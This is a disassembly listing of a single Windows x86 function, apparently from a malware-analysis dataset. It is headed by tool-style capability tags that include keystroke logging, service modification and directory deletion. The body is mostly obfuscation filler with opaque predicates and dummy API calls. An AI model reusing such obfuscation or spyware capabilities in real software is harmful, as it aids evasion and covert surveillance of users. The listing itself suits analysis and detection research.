Function at 0x10034ced
Capabilities:
Check os version
Delete directory
Extract resource via kernel32 functions
Get common file path
Get graphical window text
Get session user name
Identify system language via api
Log keystrokes via polling
Modify service
Query service status
Read .ini file

Disassembly:
mov eax, 0x1008bfd6
call fcn.1008b990
mov eax, 0x1550
call fcn.10088140
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDC]
xor eax, eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push edi
mov edi, dword [sym.imp.GDI32.dll_RealizePalette]
mov dword [ebp - 0xb84], eax
push 1
mov dword [ebp - 0xb80], eax
mov dword [ebp - 0x60], ecx
pop ecx
mov dword [ebp - 0xb7c], eax
mov dword [ebp - 0xb78], eax
push 9
mov byte [ebp - 0x75], dl
pop edx
cmp dword [ebp - 0xb78], eax
je 0x10034d78
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], 0xfffffff3
je 0x10034d88
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10034d67
call esi
push eax
call ebx
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff3
jne 0x10034d54
xor ecx, ecx
push 9
inc ecx
pop edx
jmp 0x10034d88
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0x6ec79cf1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0xce4], eax
mov dword [ebp - 0xce0], eax
mov dword [ebp - 0xcdc], eax
mov dword [ebp - 0xcd8], eax
cmp dword [ebp - 0xcd8], eax
je 0x10034dd4
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x20], 2
jmp 0x10034dcc
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10034dc9
call esi
push eax
call ebx
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff3
jne 0x10034db6
jmp 0x10034de4
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0x6ec79cf1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0xfe01bd97
xor eax, eax
mov dword [ebp - 0x10], 8
xor ecx, ecx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0x5240ca70
mov dword [ebp - 0x30], 0x3a29add9
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffffc
setne cl
xor edx, edx
mov dword [ebp - 0x10], ecx
inc edx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
add ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x10034e3e
cmp dword [ebp - 0x10], eax
je 0x10034e3e
mov eax, edx
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10034e7f
mov dword [ebp - 0x2c], 0x700d62e6
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x10034e6f
push 0x4df
push 0x482
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jmp 0x10034f8b
mov dword [ebp - 0x4c], 0x5a8
mov dword [ebp - 0x2c], 4
cmp dword [ebp - 0x28], eax
jne 0x10034e9b
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10034eaf
cmp dword [ebp - 0x4c], eax
jne 0x10034eaf
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, edx
push 3
setge cl
pop eax
add ecx, eax
jne 0x10034eca
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x10034eca
inc ecx
jmp 0x10034ecf
xor ecx, ecx
inc ecx
mov eax, ecx
cmp dword [ebp - 0x3c], eax
je 0x10034f0b
mov dword [ebp - 0x24], ecx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setne dl
xor ecx, ecx
cmp edx, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setge al
mov dword [ebp - 0x10], eax
jmp 0x10034f8b
xor eax, eax
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x10034f2c
push eax
push 0x2541
push 0x24fa
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x27
jle 0x10034f8d
mov dword [ebp - 0x24], 0xbf567d71
cmp dword [ebp - 0x2c], eax
jne 0x10034f6c
cmp dword [ebp - 0x4c], eax
jne 0x10034f6c
cmp dword [ebp - 0x24], eax
jne 0x10034f58
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
je 0x10034f58
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x10034f6c
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x27
push 0
pop eax
jg 0x10034f35
xor eax, eax
mov dword [ebp - 0x10], 0xf72b5725
mov dword [ebp - 0x18], 0x2fa5d872
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x1c], 0x5dbd55a
mov dword [ebp - 0x2c], 0x26a8acdd
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
dec eax
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x10]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
sub eax, edx
je 0x10035004
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10035006
lea edx, [eax + 1]
jmp 0x10035008
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffffd
mov eax, dword [ebp - 0x10]
setl dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0xf1ef
setg al
add eax, dword [ebp - 0x10]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x10]
jg 0x10035050
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10035052
xor edx, edx
inc edx
mov ecx, edx
jmp 0x10035057
xor eax, eax
xor edx, edx
mov ecx, eax
inc edx
xor eax, eax
cmp ecx, edx
push 9
setne al
pop ecx
cmp ecx, eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x10]
je 0x10035074
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035076
jmp 0x10035078
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x10]
add edx, 0x3633e7a3
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
cmp ecx, dword [ebp - 0x2c]
jne 0x100350a1
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100350a1
xor edx, edx
mov ecx, eax
inc edx
jmp 0x100350a6
xor edx, edx
inc edx
mov ecx, edx
mov eax, dword [ebp - 0x10]
imul eax, ecx
sub eax, 0x7fad5407
je 0x100350bc
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x100350c7
jmp 0x100350be
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1003519b
mov dword [ebp - 0x2c], edx
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x100350ed
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x288], 0x3232af72
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100350d5
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10035109
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035106
call esi
push eax
call dword [sym.imp.USER32.dll_IsIconic]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe7
jle 0x100350f2
cmp dword [ebp - 0x10], eax
je 0x10035167
mov eax, dword [ebp - 0x288]
cmp dword [ebp - 0x288], 0xfff8
mov eax, dword [ebp - 0x288]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
add ecx, 0x7874d2d
jne 0x10035142
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x284]
mov eax, dword [ebp - 0x280]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x1c]
jne 0x10035177
xor eax, eax
cmp dword [ebp - 0x288], eax
jne 0x10035179
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
jmp 0x100351ab
xor eax, eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035192
push eax
push eax
push 0x3c4
call esi
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x1c], 0xffffffff
jmp 0x100351ab
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x100351ab
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
mov dword [ebp - 0xba4], eax
mov dword [ebp - 0xba0], eax
mov dword [ebp - 0xb9c], eax
mov dword [ebp - 0xb98], eax
cmp dword [ebp - 0xb98], eax
je 0x10035334
push 9
pop ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], 2
jmp 0x100351f6
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x100351f3
call esi
push eax
call ebx
push eax
call edi
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff3
jne 0x100351e0
xor ecx, ecx
inc ecx
mov dword [ebp - 0x38], 0xb1cecb45
mov edx, 0x7cec7e9a
mov dword [ebp - 0x4c], 0x87a9b65c
xor eax, eax
mov dword [ebp - 0xc64], edx
mov dword [ebp - 0xc60], edx
mov dword [ebp - 0xc5c], edx
mov dword [ebp - 0xc58], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x50], 0x85266add
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x30], 2
push 3
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x10035267
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x218], 0x41b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003524f
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x10035287
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8c0], 0xff609d70
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1003526f
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jg 0x10035408
mov dword [ebp - 0x10], 0xffffffff
mov dword [ebp - 0x48], 0x6982b357
mov dword [ebp - 0x24], 0xa4b38b4b
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], eax
je 0x10035351
mov eax, dword [ebp - 0x10]
xor edx, edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x8b8], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x8b8]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setl dl
xor ebx, ebx
cmp edx, eax
setge bl
sub ebx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setne cl
sub ecx, 0xf888c554
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x218], edx
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
cmp ecx, 0xb674
je 0x1003534c
xor ecx, ecx
inc ecx
mov eax, ecx
jmp 0x10035351
xor ecx, ecx
inc ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0x6ec79cf1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
jmp 0x100351ff
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x214]
cmp dword [ebp - 0xc60], eax
jg 0x10035378
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x4c]
xor edi, edi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x2c], edi
je 0x100353e6
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x218]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
push 0
pop eax
jle 0x10035294
mov edi, dword [sym.imp.GDI32.dll_RealizePalette]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
mov dword [ebp - 0x38], 0xb
mov ecx, 0xd7bff020
cmp dword [ebp - 0x38], eax
jl 0x1003544b
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035443
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov ecx, 0xd7bff020
dec dword [ebp - 0x30]
dec dword [ebp - 0x38]
jns 0x10035419
mov dword [ebp - 0x28], 0xfe01bd97
xor ecx, ecx
mov dword [ebp - 0x10], 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], 0x5240ca70
mov dword [ebp - 0x30], 0x3a29add9
mov dword [ebp - 0x50], 0xfffffff8
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffffc
setne cl
xor edx, edx
mov dword [ebp - 0x10], ecx
inc edx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
add ecx, dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x100354a3
cmp dword [ebp - 0x10], eax
je 0x100354a3
mov eax, edx
mov dword [ebp - 0x20], eax
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100354e4
mov dword [ebp - 0x2c], 0x700d62e6
mov dword [ebp - 0x30], 0xffffffff
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x100354d4
push 0x4df
push 0x482
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jmp 0x100355f0
mov dword [ebp - 0x4c], 0x5a8
mov dword [ebp - 0x2c], 4
cmp dword [ebp - 0x28], eax
jne 0x10035500
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10035514
cmp dword [ebp - 0x4c], eax
jne 0x10035514
mov edx, eax
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, edx
push 3
setge cl
pop eax
add ecx, eax
jne 0x1003552f
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1003552f
inc ecx
jmp 0x10035534
xor ecx, ecx
inc ecx
mov eax, ecx
cmp dword [ebp - 0x3c], eax
je 0x10035570
mov dword [ebp - 0x24], ecx
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x4c]
cmp eax, ecx
setne dl
xor ecx, ecx
cmp edx, 0xffffffff
setne cl
xor eax, eax
cmp ecx, 0xfffffffe
setge al
mov dword [ebp - 0x10], eax
jmp 0x100355f0
xor eax, eax
mov dword [ebp - 0x48], eax
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x10035591
push eax
push 0x2541
push 0x24fa
push eax
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x27
jle 0x100355f2
mov dword [ebp - 0x24], 0xbf567d71
cmp dword [ebp - 0x2c], eax
jne 0x100355d1
cmp dword [ebp - 0x4c], eax
jne 0x100355d1
cmp dword [ebp - 0x24], eax
jne 0x100355bd
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
sub ecx, eax
je 0x100355bd
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x24]
test eax, eax
jne 0x100355d1
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x27
push 0
pop eax
jg 0x1003559a
xor eax, eax
mov dword [ebp - 0x1c], 0xf5020f89
cmp dword [ebp - 0x1c], 8
push 0xfffffffffffffffa
pop ecx
jle 0x10035872
mov dword [ebp - 0x630], ecx
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x628], ecx
mov dword [ebp - 0x624], ecx
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], eax
jl 0x100356a0
xor edi, edi
mov dword [ebp - 0x24], 0x9642e40c
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x630]
cmp eax, dword [ebp - 0x1c]
jge 0x10035667
mov ecx, dword [ebp - 0x62c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x630], ecx
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp eax, 0xab9c
jl 0x10035667
xor eax, eax
mov edx, eax
jmp 0x1003566a
lea edx, [edi + 1]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x10035693
push 0x2009
push eax
call esi
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_Polyline]
dec dword [ebp - 0x1c]
jns 0x1003562c
mov edi, dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x100356c3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x630], 0x4ea3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x100356ab
xor eax, eax
xor ebx, ebx
inc ebx
mov dword [ebp - 0x10], 0xb743d837
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100356f4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7e4], 0x82062403
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100356dc
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x10035716
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3f4], 0x142b9193
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100356fd
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x10035736
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1358], 0xffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003571e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jg 0x100357e1
push 3
pop edi
mov dword [ebp - 0x24], 8
push 0xfffffffffffffffc
pop ecx
mov dword [ebp - 0xbc4], ecx
mov dword [ebp - 0xbc0], ecx
mov dword [ebp - 0xbbc], ecx
mov dword [ebp - 0xbb8], ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3f4], eax
cmp eax, dword [ebp - 0x7e4]
jle 0x1003578e
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x7e4], eax
je 0x10035790
mov edx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x7e4]
cmp eax, edx
setl cl
mov dword [ebp - 0xbb8], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x7e4]
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x2c], ebx
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], edi
jle 0x10035746
mov edi, dword [sym.imp.GDI32.dll_RealizePalette]
push 9
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10035842
push ecx
pop ebx
mov dword [ebp - 0x20], 0xf18
xor edx, edx
mov eax, dword [ebp - 0x1358]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3f4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3f0]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x3f4], edx
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], al
je 0x10035835
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100357ee
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x4c], 4
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x1003586a
push 0x2009
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
xor eax, eax
mov dword [ebp - 0x4c], eax
jmp 0x100358f3
xor ecx, ecx
mov dword [ebp - 0x34], 0xfffffff7
mov dword [ebp - 0x20], eax
inc ecx
jmp 0x10035892
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x55c], 0xffffffff
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10035881
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
neg eax
push 4
sbb eax, eax
xor ebx, ebx
neg eax
imul ecx, eax
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
setg bl
sub ebx, 0x136
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
cmp ecx, eax
pop ecx
setl dl
xor eax, eax
cmp edx, ebx
setge al
xor ebx, ebx
mov dword [ebp - 0x1c], eax
inc ebx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x55c], ebx
xor eax, eax
jmp 0x100356c6
cmp dword [ebp - 0x4c], eax
jne 0x100358f9
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0x13
jl 0x100358eb
mov dword [ebp - 0xcc4], eax
mov dword [ebp - 0xcc0], eax
mov dword [ebp - 0xcbc], eax
mov dword [ebp - 0xcb8], eax
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x24], 0x6d4f2887
mov dword [ebp - 0x18], 0x664dc9ed
mov dword [ebp - 0x28], 0x85faafe3
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x2c], 0x12afd77c
push 2
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x20], eax
pop esi
jmp 0x1003595a
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa64], 0x87a5eafb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035949
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], eax
jle 0x1003598a
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xa60]
mov ecx, dword [ebp - 0xa60]
mov eax, dword [ebp - 0x5c]
cmp ecx, eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
setge dl
imul ecx, edx
xor edx, edx
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x28], eax
jmp 0x100359dc
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x100359d9
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x100359c7
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x34], 0xb0cadfb1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x10035a0b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x98], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100359f3
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10035a2b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x588], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10035a13
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10035a4e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5a0], 0x90f9986e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10035a36
xor eax, eax
mov dword [ebp - 0x98], eax
jmp 0x10035a6e
mov byte [ebp - 0x51], al
cmp byte [ebp - 0x51], 0
je 0x10035a68
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
xor eax, eax
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], 0x1d
jne 0x10035a56
inc dword [ebp - 0x5a0]
xor edx, edx
mov esi, dword [ebp - 0x5a0]
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setg dl
xor ebx, ebx
